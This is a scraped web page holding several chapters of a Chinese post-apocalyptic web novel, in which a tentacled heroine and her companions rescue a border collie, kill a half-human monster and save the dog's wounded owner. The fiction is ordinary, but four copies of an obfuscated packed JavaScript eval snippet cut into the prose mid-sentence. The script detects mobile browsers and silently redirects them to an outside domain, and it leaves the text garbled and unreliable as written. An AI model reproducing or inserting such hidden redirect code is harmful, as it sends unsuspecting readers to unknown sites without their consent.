如今的她没了那股阴沉气,笑容看起来发自内心,和前世相比阳光得不得了。郁仪数次想要对她道出一切,但话到了嘴边又忍不住犹豫——万一呢?万一她表面的一切都是伪装出来的,实际上已经有了与前世相同的想法,只等一个行动的契机……那么他的坦白也许会加快她奔向死亡的速度。 还有两年时间,如今他只能走一步看一步,静观其变了。 -- “前方就是湖市。”看了眼公路边的巨型标牌,黎望舒一边感叹,一边伸出触手,绞死了一只试图靠近的干瘪怪物,“我们总算驶出山城了。” 眼下已是异变降临后的第九天。 从别墅区离开后,他们在路上花了两天时间,虽说没再发生之前那样诡异的突发事件,但也许是因为离开了虫母领地,他们沿途遇见的怪物越来越多了,时不时地就要下车清理,行进速度被大大拖累;不过几人本就不急于赶路,因此心情并没有受到影响。 习惯了怪物在眼前被捏爆,杜蕊搬了个小板凳坐在路边,面不改色地吸溜着方便面,好奇地问:“虫母那么弱,为什么要赶走领地内的成年怪物呀?换成是我,一定要多留几个保镖保护自己。” “虫母弱是因为碰上了我们。它能力颇多,智力偏高,在怪群中算是高级种,大部分普通怪物没它能打,发挥不了作用不说,还会白白分走它的食物。”郁仪淡声回答,“但比它强的个体往往不屑于保护它,因此虫母大多选择独自生活。” “高级种?就虫母那样的也配?”闻风藻喝了口面汤,冷笑一声。 “虽说它蠢了点,但至少会说人话,能够利用诱饵欺骗人类。”黎望舒说,“那么大的巢穴,不知道骗了多少个人进去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812618|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大致呈人形、具有思考能力的怪物就能算作高级种,所以不是所有高级种都具有语言能力与更强的战斗力。”郁仪顿了顿,又补充道,“……这种分类方法,也是我从别人那里听来的,不一定准确。” 吃完午饭,几人收拾好东西,回到车上,继续赶路。 车厢里没人说话,十分安静,就连话最多的杜蕊也窝在后座,靠在黎望舒的肩膀上,耷拉着眼皮昏昏欲睡——之前赶路的两天里,杜蕊闲着无聊,查户口似的,几乎聊遍了每个人的祖宗十八代,之后再怎么绞尽脑汁也想不出新的话题了。 “你们三个都是山城本地人吧。”杜蕊没精打采地问,“现在即将离开山城,没什么想说的吗?” 郁仪握着方向盘不出声,他身边的闻风藻闭着眼回答,“又不是不会回来了,有什么好说的。” “唉……”杜蕊又开始叹气,“好无聊啊,要是还能用手机就好了……在湖市一定要多搜罗几本漫画书。” 黎望舒揽着她的肩,一句话也不想说——她昨晚守了一夜,上午又接连解决了几波来袭的怪物,根本没怎么休息,困得上下眼皮打架,几乎一歪头就能睡着。 杜蕊接连不断的叹息声宛如催眠曲一般,她的意识被疲惫浸透,逐渐沉向虚无深处,即将昏沉睡去之时,前方一道轻语传入耳中,骤然将她的意识从深水中拔出—— “前面那群东西是……怪物?怎么来了这么多。”闻风藻身体前倾,皱眉细看,“等等,怪群最前面还有一只狗,怪物是追着它来的!” 几下甩去睡意,黎望舒掰着椅背撑起身子,定睛望向前方车窗——远处已经能看到湖市的轮廓,稍近处的马路上,一群形态各异的青黑怪物伴着飞扬的烟尘向前追击,一路将阻拦它们的车辆掀翻。 怪群前方,一只黑白花色的长毛大狗正飞速奔跑着,粉红舌头在牙齿边上甩动,不时甩出亮晶晶的唾液,背上黑毛油亮,蓬松地上下飘动着,跑得竭尽全力,却始终无法与身后的怪物们拉开距离。 “这里怎么会有狗?”杜蕊难以置信地瞪大了双眼。 “在前面停车。”黎望舒握住车门把手,“我去清理。” “我也去!”杜蕊提起长刀,两眼放光,“守护可爱毛绒绒,吾辈义不容辞!” “那我也……” 郁仪话没说完,就见黎望舒摇了摇头,“不,你在车边守着就好,小心怪物从背后偷袭。” “……我明白了。”郁仪只得点头。 …… 后方怪物咬得很紧,冰冷的吐息几乎绕上了尾巴尖,黑白花大狗背脊一颤,急促地喘着气,顾不上爪子敲在坚硬地面上的疼痛,甚至来不及回头细看,只能一味地奔跑。 就在这时,前方驶来一辆巨型汽车,不闪不避地横停在马路中央,车门里走出了两个手持武器的人类,杀气腾腾地向这边走来。 被她们的气势震慑,黑白花大狗下意识止住了爪子——几乎就在下一个瞬间,从它身后袭来了一张腥气冲天的血盆大口,直直地朝它蓬松的尾巴毛咬来。 29. 第 29 章 黑白花大狗轻巧地向侧后方一跳,勉强躲开了那张大口,但尾巴尖还是被怪物咬住,扯下了一大撮白毛,它痛得夹起尾巴,哀叫一声:“汪呜——” “竟敢伤害毛绒绒,不可饶恕!”杜蕊大喝一声,挥着刀冲了上去——这两日她经常下车清理怪物,胆子大了不少,此刻黎望舒就在身边,她更是安全感十足,没多想便无所畏惧地冲进了怪堆里。 黎望舒有心让杜蕊多历练,并不急于绞杀怪物,于是一边用触手掩护她,一边分了点心思打量一旁夹着尾巴的黑白花大狗。 它似乎有些害怕,耳朵死死地贴在脑后,从正面看起来几乎像条光头小狗;蓬松大尾巴紧紧地夹在两条后腿中间,尾巴尖白绒绒地,又掺着几缕鲜红,不知在哪儿沾上了血迹。 察觉到黎望舒的冷淡目光,它警惕地俯下身子,做出攻击的架势,一边呲牙,一边皱着鼻子发出呜呜的警告声,却没有转身逃跑,停在原地,似乎在等待着什么似的。 它长得非常壮实,肌肉线条流畅,眼珠黑亮,看起来很有精神,不像挨过饿的样子;毛发亮滑又蓬松,似乎最近刚洗过澡……它应该有个很细心的主人,只是不知道现在去了哪里。 扫了眼它尾巴上的新鲜血迹,黎望舒隐隐有了猜想。 “望舒,怪物太多了……”杜蕊的声音从怪群中传出,听起来有几分吃力,“我不行了!” “不错,比上次多撑了一会儿。”触手延伸而出,顷刻间将怪物绞杀殆尽,黎望舒夸奖她,“杀了一小半呢。” “呜……但好像冲得有点深。”衣衫染上了怪物血液,杜蕊哭丧着脸,“又要把怪物的味道带回车里了。” 没失落多久,注意到一旁的黑白花大狗,杜蕊两眼放光地凑了上去:“它居然还在这里!这是边牧吧,咱们那个小县城根本没人养,我还是头一回在现实里见到……好漂亮!” “据说边牧很聪明,能听懂人话。”她在距离边牧一米远的地方蹲下,伸出了一根手指,冲它勾了勾,“嘬嘬嘬,可爱的小狗狗,过来呀。” “小心点,别被咬了。”黎望舒提醒。 “哎呀没事的,我有分寸。”杜蕊仍兴致勃勃地对着狗说话。 似乎感受到了杜蕊释放出的善意,黑白花边牧朝黎望舒的方向望了一眼,小心翼翼地一点点靠近杜蕊的手指,鼻尖耸动着嗅了嗅后,伸出舌头舔了她一口。 “你看!它舔我了!”杜蕊举起手指,激动得嗷嗷叫,反而将黑白花边牧吓退了一步。 “别太激动。”黎望舒无奈道,“我们可没有余裕养狗。” 就算她没养过狗,也知道狗一般要吃狗粮和肉食,他们后备箱里储存的大多是重油重盐的速食产品,剩下的都是压缩饼干,再怎么想也不足以养活一条中型犬。 她下车也不是为了救狗,更多的只是因为怪物挡了路,必须清除而已。灾难之中人人自危,他们的物资也不是大风刮来的,若是对每一只路过的动物都大发善心,最后只会将自己饿死。 “嗯,我知道。”杜蕊试探着将手掌伸向边牧的头顶,却没想到边牧直接用它毛绒绒的脑袋顶上了她的掌心,用力蹭了蹭。 掌下的小脑袋温热又顺滑,手感极好,她高兴之余,想到了这条宠物狗从前的幸福生活与未来的结局,又忍不住心酸,“对不起,我们没法带你走……你要靠自己好好活下去哦。” 害怕自己心软,杜蕊不敢再摸,收回手朝越野车走去。刚打开车门,她裤脚处突然传来一股拉力——她连忙拽紧了腰上的松紧带,回头一看,才发现那只黑白花边牧居然跟了上来,小心地叼住了她的裤脚,用力向后拖,似乎很不愿意她离开。 “哎呀,你想跟我们一起走吗?”杜蕊猜测,“但我们不能……” 似乎察觉到了他们要走,黑白花边牧松开了口中的布料,在原地焦急地转了两圈,急得嘤嘤出声,一双黑豆眼紧盯着杜蕊……不知是不是错觉,杜蕊竟从里头看出了一点拟人的忧愁。 “望舒……”杜蕊不忍心将它赶走,犹豫地望向黎望舒,“它看起来好可怜。” 黎望舒在车的另一边,皱着眉不说话。郁仪探头望了望小狗,又看了眼左右为难的黎望舒,突然出声:“如果你们是为了它的食物发愁的话,我可以解决。” “?”黎望舒疑惑地回头,“你能变出肉来?” 郁仪弯腰,从地上捡了颗小石子,抬头望着天空,等待一会儿后,指节向上一弹,天空中便扑棱地掉下了一个黑影。 “哇啊!”杜蕊吓了一跳,凑近了才看清那是什么东西,“麻雀?” “要打下多少鸟,才能让这样一只大狗吃饱。”黎望舒仍有些顾虑。 “更大的动物我也能猎到。”郁仪从车中摸出地图,“但野生动物都很机敏,不会在天敌经常出没的地区活动。我们得改变路线,不穿过城市,而是从更荒凉的地方绕路……但这样一来,路上的补给会变少,油车也没法一直开下去。” “当然,就算去了,也不是立刻就能猎到,需要时间和运气。”观察着黎望舒的神色,郁仪谨慎地补充,“我们也没有保鲜手段,冬天还好说,到了夏天,肉类腐坏得很快,需要频繁地为它补充食物……总之很麻烦。” “你都听到了,即便如此也要养吗?”黎望舒望向杜蕊,“一切麻烦你都要负起责任承担,我绝对不会帮你。” “……要是在这里抛下它不管,我绝对会后悔的!”杜蕊鼻尖泛红,坚定道,“我要养,郁仪捕食的时候我会跟在旁边学的!” 郁仪眉毛一抽,欲言又止,显然对她的措辞有些意见。 黎望舒抬眸,定定地与杜蕊对视两秒——后者眼中的坚定不似作伪,联想到她之前的变化,黎望舒愿意相信她的决心。 ……这样说来,她反而对自己更没信心。要是看到了杜蕊受苦的样子,她大概率会忍不住出手帮忙的。 人类的感情真是奇妙。犬类、鸟类……明明都是陌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818268|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的动物,杜蕊却想要剥夺后者的生命,来供养前者的生命。既然杜蕊愿意这样做,黎望舒也不打算说什么。 换位思考,如果杜蕊也变成了一条小狗,被饿得奄奄一息,那么为了让她活下去,哪怕是杀人放火,黎望舒也会毫不犹豫地去做……这样一想,似乎就能理解杜蕊对那只边牧的喜爱了。 “好吧。”黎望舒叹了口气,“先带上它,走一步看一步吧。” 杜蕊欢呼一声,连忙拉开车门,冲黑白花边牧挥手:“小狗快上车!” 但不知为何,边牧却往后退了两步,更焦虑了似的,耳朵不停摆动,紧盯着杜蕊,不住地在原地打转,嘤嘤叫声拖得越来越长,就是不愿上车,甚至又开始叼着杜蕊的裤脚向后拖。 “奇怪……”杜蕊摸了摸后脑勺,干笑一声,“我理解错它的意思了?它只是来要点吃的,不想跟我们走?” 黎望舒留心观察它的奇怪举动,竟看出了一丝端倪:它一直执着地将杜蕊拖向它来时的方向——也就是湖城——打转时身体也总是倾向那边,似乎挂念着什么东西似的。 “也许。”想起它尾巴尖上的血迹,黎望舒猜测,“它只是想领着我们去找它的主人。” “啊?是这样吗?”仔细打量了一番,杜蕊恍然大悟,遗憾道:“怪不得这么干净,原来是有主人的。” “但……就算是为了你的主人,也要先上车才行。”杜蕊蹲下身去,认真地盯着它的黑豆眼,努力解释,“这边离城市还有很远,总不能步行过去吧。” 像是听懂了她的话似的,边牧那双眼珠机灵地一转,看向黎望舒——后者已经有些不耐烦了,冷冷地扔下一句“想救人,就上车”后,便拉开车门,径直钻进了后座。 “汪!”这下,不必杜蕊再劝,黑白花边牧一扭头,识相地跳入车门,端端正正地蹲在了黎望舒身边,甚至扭头冲杜蕊叫了一声,似乎在催促她。 “你的话对它好管用啊。”杜蕊一边碎碎念,一边拉上车门,“是我太没亲和力了吗?” “狗能辨认出群体中的首领。”闻风藻淡声道,“在它的判断中,黎姐才是我们的首领,你的地位没有黎姐高。” “……虽然这是事实,但不知道为什么,从你口中说出来让人格外不爽。”杜蕊捏起拳头。 黎望舒稍微挪了挪身子。 边牧离她太近了,透过手臂上的布料,传来了暖烘烘的热度,还隐隐飘来一股小狗味——基底是宠物香波的味道,混着点奇妙的体味,还有太阳的味道,说不上难闻,但让她有些不适应。 但让黎望舒没想到的是,她挪开身体后,边牧斜眼看了她一眼,犹豫一秒后,竟然又移动爪子,贴了过来。 “……”黎望舒面无表情地低下头,与那双黑豆眼对视——它像是有些心虚,眼珠子僵硬地转动着,雪白的右爪却抬了起来,坚定地按在了她的长裙之上。 “你什么意思?”黎望舒盯着黑白花边牧,冷着脸问。 30. 第 30 章 “看来它很喜欢你啊。”杜蕊惊叹道,“居然愿意贴得这么近。” “你确定这是喜欢?”黎望舒控制着裙下触手轻轻翻动,隔着裙子卷住了那只白爪子;黑白花边牧被吓了一跳,立刻用力将爪子抽回,塞回了尾巴下面。 明明只是条小狗,却比某些人还精于算计,甚至知道用这样的方式,试探性地讨好她——盯着它心虚的后脑勺,黎望舒忍不住翘起唇角。 越野车逐渐开进了城市中,周围游荡的怪物明显增多了,郁仪默默放慢了车速。边牧也不再与身边二人嬉闹,而是伸着脖子,竖起耳朵,全神贯注地盯着窗外。 它黑白相间的尾巴又大又蓬松,毛绒绒地卷在前爪上,看起来手感极好,美中不足的是尾巴尖被怪物咬过,秃了一小块。 “还疼吗?”杜蕊心疼地摸了摸它的尾巴尖——它低头敷衍地舔了一口杜蕊的手,又抬起头,双眼一眨不眨地紧盯着外头。 “汪!”路过一条小巷时,它突然叫了一声,爬上杜蕊的大腿,用前爪不断扒拉车窗。刚一打开车门,它便灵活地跳向地面,向小巷深处跑了几步,又回头望着车门的方向,像是在催促。 “把车锁上。”黎望舒吩咐,“我们跟上去看看。” -- 冷……好冷…… 口中呼出的白气模糊了视野,右腿上两道深可见骨的割伤还在汩汩流血,但已经麻木得没有痛意了;身体一片冰冷,仿佛连血液都被冻结了似的,让她止不住地发颤。 连霏靠坐在房间角落里,艰难地撑开眼皮,双瞳无焦距地望向天花板,忍不住想起了自己的小狗。 不知道妞妞现在怎么样了……周围太危险了,它又独自引走了那么多怪物,真的有办法脱身吗?它很亲近人类,尽管强调了无数遍不能接近陌生人,但危急关头它不一定还能记住。在坏人的眼中,它就是一块行走的肉食,万一…… 想到这里,连霏心脏一缩,猛地喘了口气,冰冷空气割过鼻腔,带起一阵锋利疼痛,她忍不住呛咳起来。 仿佛世界上只剩下她一人了似的,周围安静得只能听到自己急促喘息的声音。心中漫起孤寂,连霏鼻子发酸,泪水缓缓从脸颊滑落,滴在手背上。 她高估自己的实力了……山城地界那么大,那个人一向有主见,不一定会停留在原地,漫无目的地寻人无异于大海捞针。也许她一开始就不该离开江城,现在人没找到不说,反而害了妞妞,也害了自己。 眼皮越来越沉重,视野也逐渐陷入昏暗,脑中仿佛有一个声音,不停地劝说着她,睡过去就能得到轻松。 连霏咬牙抬手,用力伸向小腿上的伤口,将手指插了进去——猛烈疼痛袭上天灵盖,她咽下了喉中的痛呼,额上冷汗涟涟,被刺骨的痛激得瞬间清醒过来。 ……她还不想死! 好不甘心,至少让她再见那个人一面也好—— 正这么想着,门口一道影子闪过,随即探进来半张带笑的面庞,盯着墙角的连霏呵呵一笑,“原来你在这里,让我好找啊。” 连霏呼吸一滞,强撑着抓起了身边仿佛千斤重的匕首,警惕地举在身前。 “都虚弱成这样了,还有力气反抗?”长发女人笑着走进房间——她皮肤泛着青色,瞳孔微微竖起,上半身穿戴整齐,俨然一副体面白领的样子,下半身却蠕动着一大团狰狞触手。 “说实话,我没想到你能活到现在。真是太感谢你了,让我能吃到这么新鲜的一餐。”她抬起自己尖利的指甲,欣赏着上面残存的鲜红血肉,一边伸舌将它们舔去,一边冲连霏眨了眨眼,“你的那只狗呢,被其他怪物吃了?我还挺喜欢它的,真可惜。” 连霏牙关紧咬,死死盯着她,并不回答。 “怎么不说话?唉,真没趣。”长发女人叹了口气,“想找个人聊聊天都这么难。” ——与哀怨的语气不符,她面上并没有多少失落之色,反而兴奋地舔了舔嘴唇,“既然这样,我就不客气了……就从两条腿开始吃好了!” 最后一个发音还没来得及落地,她便挥舞着爪子,急不可耐地扑了过来—— 失血太多,连霏的腿完全使不上劲,只能绝望地闭上双眼,反手将匕首抵上自己的脖子。 至少……至少她不愿像之前那些人一样,活活被怪物吃掉! “汪!” 还没等她将匕首压下去,熟悉又响亮的狗叫声响起,随即便是一阵撕咬声与长发女人惊怒的大吼:“什么……哪来的臭狗,我杀了你!” 连霏猛地睁开双眼,正好看见了黑白花边牧被长发女人甩向墙壁的景象——这一砸力道十足,若是落到实处,黑白花边牧非死即伤。 她急得高叫:“妞妞!” 好在,妞妞平安无事——几根青黑触手温柔地卷住了它,带着它缓缓降回地面。 “汪呜……”四爪接触到地面,妞妞刚一站稳,立刻向这边跑来,闻了闻连霏的伤口后,又哼哼唧唧地用脑袋去拱她的手和脸;鼻端传来熟悉的小狗味,滚烫的舌头舔在脸上,温暖得让人想要流泪。 “妞妞,真了不起……我没事。”任由泪珠滚落,连霏扯了扯苍白嘴唇,用力摸了把狗头,撑起身体向门外看去——门口那人下身也生着粗壮触手,看起来与长发女人一模一样,但奇怪的是,那人的触手正紧紧缚在长发女人的脖子上,似乎与她是敌对关系。 那道身影逆着光,依稀能分辨出是个女人,而且……眉眼模模糊糊地,看起来居然有几分熟悉。 这是临死前的幻梦吗——大脑混沌一片,连霏脑中最后闪过了这个想法,随即便眼前一暗,软倒在地上,失去了意识。 -- “汪汪!” 屋子里传来边牧的叫声,黎望舒探头向里看了一眼,只见墙角处蜷缩着一个面容清丽、打扮简练的长发女子。 她双目紧闭,小腿上横着两道狰狞伤痕,割得极深,几乎能看到白森森的骨头,身下蔓延开一大滩鲜红血液;黑白花边牧正蹲在她身边,焦急地嗅她的脑袋。 ——想必,这就是边牧的主人了。 “郁仪,小蕊,拿上医疗箱,去里面给她止血!”回头高喊一声后,黎望舒抬眸,打量着面前的半人怪物——它保留了一部分人类特征,长发披散在肩头,上半身装束整齐,能看出来曾是个白领丽人。 它似乎看出了二人之间的实力差距,老老实实地被黎望舒束缚在原地,正面带微笑地注视着这边。 “朋友,我好像没惹过你们吧。”对上黎望舒漠然的视线,半人怪物语气友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823851|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,“来做个交易如何?这附近都是我的地盘,放了我,我可以让你们毫无阻力地通过这座城市——就算是你,想要从山海般的怪堆中突围,也要花一番功夫吧。” “你认为我会相信怪物的话?”黎望舒反问。 “居然把人家叫成怪物,真过分。”半人怪物瞪了她一眼,“你和我是同类,我们都是人啊,只不过……我的食谱稍稍发生了些变化而已。” “我知道你在想什么。”黎望舒盯着它,“你在拖延时间,对吧?你正在酝酿着的能力,足以将我一击杀死吗?” 半人怪物面色一僵,瞳孔竖起,眼神瞬间变得凶狠起来。 “刚刚我还有些不确定。”黎望舒笑了,“只是诈一诈而已,你太沉不住气了。” “要杀就杀,废话真多。”半人怪物没被激怒,眼珠一转,脸上又挂起了笑容,“……或者说,你想从我这里得到什么东西?有话好商量,我们来谈谈呀。” “我已经知道你们的计划了。”黎望舒说,“包括你们女皇陛下的降落时间。” “……女皇陛下?”半人怪物嘴角拉平了,一瞬的阴沉过后,嘲讽道:“什么样的蠢货才会相信这样的小道消息,我们一族向来自由自在,哪有什么女皇。” 与虫母相比,这一只怪物显然更聪明,也更擅长隐藏自己的真实想法,但那一瞬的沉默还是出卖了它。 “你的同族,一个只会产卵的蠢怪物,它已经交代得差不多了。”黎望舒眯起眼打量半人怪物的反应,“你也有同样的机会——只要老老实实地说出一切,就能捡回一命。” “不可能,它做不到……”半人怪物想都没想,立刻否定了她的试探,又突地止住了话头,“你、你又诈我!” 黎望舒笑眯眯地不说话。 “狡猾的人类……”半人怪物死死地瞪着她。 “接着说呀。”黎望舒催促,“它为什么做不到?” 然而这一次,半人怪物却像是打定了主意不再出声似的,咬牙梗着脖子,任她怎么引诱,都没再蹦出半个字来。 “真的不说?”见劝诱无用,黎望舒缓缓收紧触手,直到传来“嘎嘣”一声颈骨折断的声响,半人怪物也硬撑着,真的没再出声。 “唉……真没意思。”黎望舒叹了口气,不再留恋——短促的惊叫过后,半人怪物长发飘飘的脑袋便滚落到了地上,一双竖瞳依旧圆睁着,看起来相当不甘心。 黎望舒冷眼打量着它的尸体,在脑中整理刚刚得到的信息。 它先前明明还一副好说话的样子,要与她谈判保命,但一涉及到那位女皇陛下,却一下子变了个人似的,立刻变成了硬骨头……回想起来,虫母虽然蠢笨,但说得同样都是些没营养的废话,女皇的关键计划一点儿也没漏出来。 从接触过的两个高级种来看,无论智商高低,它们对女皇的忠心似乎难以动摇,黎望舒皱眉回忆半人怪物的只言片语——利用虫母诈它时,它反驳得异常坚定,似乎深信没有同族会背叛女皇……也许这位女皇陛下对子民使用了类似于精神控制的手段,让他们无法开口? 无论如何,还需要更多的样本才能验证她的猜想。 “望舒,快来这边看看!”角落里传来杜蕊的呼声,“这个人状况不太好!” 31. 第 31 章 空旷房间的一角,长发女子平躺在水泥地面上,腿上的伤口已经被仔细包好了,但面色惨白,嘴唇发紫,气息微弱,看起来奄奄一息。 黎望舒俯身摸了摸她的额头——冰块似的,触感一片冰冷。 “状况不太好。”郁仪面色凝重,“血已经止住了,但她失血太多,以现在的条件又没法输血。” “以前好像看过休克的急救措施,是怎么做的来着……怎么一到关键时刻就想不起来!”杜蕊急得眼眶通红,“对了,我先去车上抱几条毯子过来!” 话音未落,杜蕊便抓起身侧的长刀,转身冲出了房间。黎望舒放不下心,于是喊了一声:“小闻,你跟她一起回去。” 外头传来闻风藻的应声。 脚步声逐渐远去,黑白花边牧头也不抬地守在长发女子身边,不时低头舔舔她的脸、拱拱她的手,想要将她唤醒,似乎并不明白主人为什么突然没了动静。 黎望舒在边牧身边坐下,抚了把它柔顺的背毛,盯着长发女子毫无血色的脸问:“她活下来的机率有多大?” “……几乎是0。”郁仪低声回答,“她已经陷入休克了,换做从前,及时送去医院输血可能还有救,但现在我们什么也做不了。” “也就是说,这条狗最后还是得跟着我们。”黎望舒叹了口气,“还以为能甩掉一个麻烦了。” 嘴上这么说,但黎望舒的手一直温柔地抚在边牧背上,时不时地还要挠挠下巴、摸摸爪子,根本没停过。 郁仪的眼珠跟着她的手上下移动,胸口涌起一股莫名其妙的艳羡,忍不住问:“你似乎很喜欢它。” “毕竟它长得漂亮,又忠诚护主,还擅长讨好人类。”黎望舒捏了捏边牧毛绒绒的耳朵,语气平淡,“但这并不意味着我愿意养它。和微不足道的喜爱比起来,我更讨厌接下来需要承担的责任与麻烦。” 站累了似的,边牧俯下身体,趴在了长发女子的脑袋边上,不时发出可怜巴巴的嘤嘤声;黎望舒安抚地拍了拍它的头顶,接着说:“随着与它共度的时间越来越长,我与它之间的感情也会变得愈发难以割舍。但与我不同,它是短命的动物,注定会先我一步离去。每当想起这些,我的感情就会有些失控,想要将这份喜爱掐灭在摇篮里,从而生出……杀意。” “你讨厌离别?”郁仪问。 “谁会喜欢呢。”黎望舒笑了,“要是没有杜蕊,哪怕对它的结局心知肚明,我也会将它丢在路边。既然迟早会迎来死亡,那么结局到来得早一点或晚一点,其实并没有多大的区别,它免于跟着我继续受苦,我也不会为它悲伤太久。” 不知想到了什么,郁仪又闭口不言了,垂眸盯着地板,不知在想些什么。 “如你所见,我这个人自私自利、自我中心,并且没什么道德底线,无论对人还是对事。”黎望舒说,“听完这些,你就没什么感想?” “你想要什么样的答案。”郁仪抬眸,直视她的双眼,破天荒地反问她:“说了这么多来贬低自己,就是为了观察我的反应?” “你觉得呢?我没有自言自语的兴趣。”黎望舒挑眉,“另外,你有错误需要订正——刚刚的话并不是贬低。在如今的世界里,我不认为拥有这些特质的自己是可耻的。” “对不起……但我很高兴。”郁仪黑眸微弯,乌黑额发软软地搭在眼角,让他的面容看起来非常柔和,“不管你的本意是什么,对我来说,只要能知晓更多有关你的事情,我都会感到满足。无论是怎样的你,我都可以接受,不必这样试探。” “我的想法,对你来说真的有那么重要?”黎望舒眯起眼睛,审视着他,“我到底有什么特殊之处,值得你如此执着。” ……她很早之前就想问这个问题了。 “因、因为……”郁仪蓦地涨红了脸,吞吐道:“对我来说,你是很重要的人。” “有多重要?”黎望舒追问,“如果我要你去死,你也会答应吗?” “……我不确定。”郁仪难耐地移开了视线,不敢再与她对视,“但如果是你亲自动手,我不会反抗。” 关于这一点,黎望舒还是相信他的——早在击败虫母后的那个夜晚,她就体验过郁仪的乖顺了。 郁仪正心如擂鼓地等待着黎望舒的回应,她却只是轻松一笑,冷不丁地转移了话题:“之前你说过,会找机会向杜蕊道歉。这么多天过去了,怎么不见你行动?” “这、这件事还……”没料到她会选在此时提起这件事,郁仪大脑一片空白。 “该不会是还没等到机会吧。”黎望舒好笑道,“你从一开始就是这样,有什么话,非要等到二人独处的时候才肯说。” “对不起。”郁仪难为情地低下头,“我会尽快。” 看着他抿唇不语、面染晕红的模样,黎望舒牙根泛起痒意。 ……生得漂亮、忠诚“护主”,虽然不太会讨好人,但不经意间流露出来的神态总会让她觉得可爱。这样想来,郁仪在她心中的地位,其实和边牧也差不了多少——有些喜爱,但也仅此而已。 共同相处了将近两周的时间,在她看来,郁仪的表现十分优秀,是个靠谱的同伴,她没有意愿与郁仪发展成更加亲密的关系。 养宠物需要负责任,与人类相处更需要有担当。但她对郁仪的喜爱并未压过对责任的抵触,因此只要郁仪没将话说得太明白,她也乐得糊涂,能避则避。 “我回来了!”杜蕊抱着一大团毛毯,小跑着回来了,身后还跟着气喘吁吁的闻风藻,“她怎么样了?” “小蕊,你要做好心理准备……”担心杜蕊太过伤心,黎望舒刚想给她做些心理建设,但一低头便看到了长发女子奇怪的面色,不由得愣了一下,止住了话头。 ……她的脸颊,比起之前好像红润了一点。 郁仪也发觉了不对劲,两指重新扣上长发女子的手腕,细细摸完她的脉象后,不可思议道:“她的气血似乎比刚刚更丰沛了。” “什么意思?”杜蕊将毯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832421|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下,呆呆地问,“她好起来了?” “是的。”郁仪点头,仍有些不解,“但按理说不该如此……到底是怎么回事。” 黎望舒与他面面相觑,都毫无头绪——他们刚刚光顾着谈话,谁也没分心思去关注这个原本必死无疑的女子,自然不清楚变化究竟是怎么产生的。 “无论如何,能活过来就是好事。”杜蕊松了口气,将毯子盖在长发女子身上,“她穿得也太薄了,手冻得简直像块冰,不知道毯子能不能让她暖和一点。” ……等等。 从杜蕊的话中得到灵感,黎望舒脑中骤然闪过一个可能性——不惧寒冷且恢复能力强大,这个女人有可能也生着触手,或是得到了某种超能力。 这样一来,一切就都能说得通了。 -- 黄昏将至,橙红色的夕阳辉光透过窗户洒进教室,将教室后方的黑板也染成了同样的橙红色。 扎着马尾辫的女孩手执粉笔立在黑板前,栗色发丝被阳光镀上一层金色,身上披着蓝白色的校服外套。听到开门的声音,她的琥珀色瞳孔微微转动,向呆站在门口的连霏投来冷淡视线。 连霏紧张地吞了口空气。 “同学。”她定定地看了连霏一会儿,忽然弯眸一笑,“你该醒了。” …… “唔……!” 坚硬的水泥地硌得后脑生疼,连霏从旧梦中醒来,头顶仍是那片雪白的天花板。她刚发出一声模糊的呓语,耳边就传来了一道清脆声音,“哎,你醒啦!” 脸颊被守在身边的妞妞舔了一口,连霏轻轻拨开妞妞凑过来的小脑袋,摸着身上的柔软毛毯,茫然地偏头望去——一个瓜子脸小姑娘出现在她面前,睁着双圆溜溜的眼睛,惊喜道:“感觉怎么样?有没有哪里不舒服?” 对了……那个人! 想起昏迷前见到的景象,连霏一下子清醒过来,撑起身子看向门边,视线落空后,又不甘心地将整个屋子扫视了一遍,但除了圆眼睛姑娘和妞妞之外,再没看到第二个人。 果然是幻觉啊……也对,怎么会有那么巧的事呢。 压下心中的失落,连霏勉强冲圆眼睛姑娘露出笑容:“……是你救了我?多谢。” “不是我。”圆眼睛姑娘却摇了摇头,冲外边大喊一声:“郁仪,望舒,她醒了!” 